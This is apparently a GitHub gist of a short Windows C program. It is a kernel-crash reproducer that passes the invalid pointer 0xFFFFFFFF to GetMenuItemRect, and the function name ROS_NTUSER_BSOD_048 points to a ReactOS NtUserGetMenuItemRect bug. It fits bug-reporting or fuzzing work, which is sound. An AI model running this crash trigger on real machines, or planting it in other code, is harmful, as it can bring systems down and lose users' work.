/kvality.c Secret
Created
December 8, 2019 11:03
NtUserGetMenuItemRect
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
LRESULT APIENTRY StubWndProc( | |
HWND hwnd, | |
UINT uMsg, | |
WPARAM wParam, | |
LPARAM lParam) | |
{ | |
return DefWindowProc(hwnd, uMsg, wParam, lParam); | |
} | |
void ROS_NTUSER_BSOD_048() | |
{ | |
MSG msg; | |
RECT rect; | |
WNDCLASS wc; | |
HWND hwnd; | |
HMENU hMenu; | |
HINSTANCE hist = GetModuleHandle(NULL); | |
BOOL bRet; | |
wc.style = 0; | |
wc.lpfnWndProc = (WNDPROC)StubWndProc; | |
wc.cbClsExtra = 0; | |
wc.cbWndExtra = 0; | |
wc.hInstance = hist; | |
wc.hIcon = LoadIcon(NULL, IDI_APPLICATION); | |
wc.hCursor = LoadCursor(NULL, IDC_ARROW); | |
wc.hbrBackground = GetStockObject(WHITE_BRUSH); | |
wc.lpszMenuName = MAKEINTRESOURCE(IDR_MENU1); | |
wc.lpszClassName = L"MainWClass"; | |
if (RegisterClass(&wc)) { | |
hwnd = CreateWindow(L"MainWClass", L"Kvality Window", | |
WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, | |
CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, hist, | |
NULL); | |
if (hwnd) { | |
hMenu = GetMenu(hwnd); | |
if (hMenu) { | |
InsertMenu(hMenu, 0, MF_BYCOMMAND, 0x1, L"Kvality Item"); | |
GetMenuItemRect(hwnd, hMenu, 0x1, (LPRECT)0xFFFFFFFF); | |
MessageBox(GetDesktopWindow(), TEXT("Hello kvality c0d3!"), NULL, MB_OK); | |
ExitProcess(0); | |
} | |
do { | |
bRet = GetMessage(&msg, NULL, 0, 0); | |
if (bRet == -1) { | |
} | |
else { | |
TranslateMessage(&msg); | |
DispatchMessage(&msg); | |
} | |
} while (bRet != 0); | |
} | |
} | |
else { | |
MessageBox(GetDesktopWindow(), TEXT("wot"), 0, 0); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment